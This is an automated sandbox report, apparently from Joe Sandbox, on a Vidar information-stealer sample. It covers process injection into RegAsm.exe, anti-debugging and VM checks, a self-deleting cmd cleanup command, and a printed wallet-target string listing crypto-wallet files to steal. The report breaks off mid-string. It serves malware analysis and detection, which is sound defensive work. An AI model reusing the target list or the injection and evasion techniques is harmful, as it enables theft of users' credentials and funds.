Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\DBFCBGCGIJKJ\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 7.9 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 5412

Thread sleep count: 81 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040FCE5 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0040FDF8h

2_2_0040FCE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00144493 FindFirstFileExW,	0_2_00144493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	2_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004162AF _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004162AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004153F6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	2_2_004153F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B463 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040B463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004094E5 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_004094E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C679 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040C679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415AC2 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_00415AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409F72 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_00409F72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409900 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00409900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040A981 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040A981
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415E66 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00415E66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00415843 _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

2_2_00415843

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040FE81 GetSystemInfo,wsprintfA,

2_2_0040FE81

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: AKJDGI.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: AKJDGI.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: AKJDGI.2.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: AKJDGI.2.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: AKJDGI.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AKJDGI.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: RegAsm.exe, 00000002.00000002.2468417703.0000000003415000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarekW/
Source: AKJDGI.2.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: AKJDGI.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: AKJDGI.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: AKJDGI.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: AKJDGI.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: AKJDGI.2.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: AKJDGI.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: RegAsm.exe, 00000002.00000002.2468417703.0000000003415000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: AKJDGI.2.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: AKJDGI.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: AKJDGI.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: AKJDGI.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: AKJDGI.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: AKJDGI.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_2-78746

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00138F06 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00138F06

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_00417645

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013C35D mov ecx, dword ptr fs:[00000030h]		0_2_0013C35D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0014560E mov eax, dword ptr fs:[00000030h]		0_2_0014560E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00147C0D GetProcessHeap,

0_2_00147C0D

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00135102 SetUnhandledExceptionFilter,	0_2_00135102
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00135237 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00135237
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00138F06 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00138F06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134FA6 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00134FA6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041937F memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041937F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041E438 SetUnhandledExceptionFilter,	2_2_0041E438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A8A7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041A8A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC6B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6CC6B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC6B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CC6B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CE1AC62

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5768, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C4018D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_00C4018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004111BE _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004111BE

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BF8008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBFCBGCGIJKJ" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00134CCC cpuid

0_2_00134CCC

Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_0013F01F
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00147047
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_001478DC
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_001479AB
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_001472E9
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00147334
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_001473CF
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0014745A
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_0013F545
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_001476AD
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_001477D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _EH_prolog,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	2_2_0040FCE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00134EA0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00134EA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040FBCB GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_0040FBCB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040FC92 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_0040FC92

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F13000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5768, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet 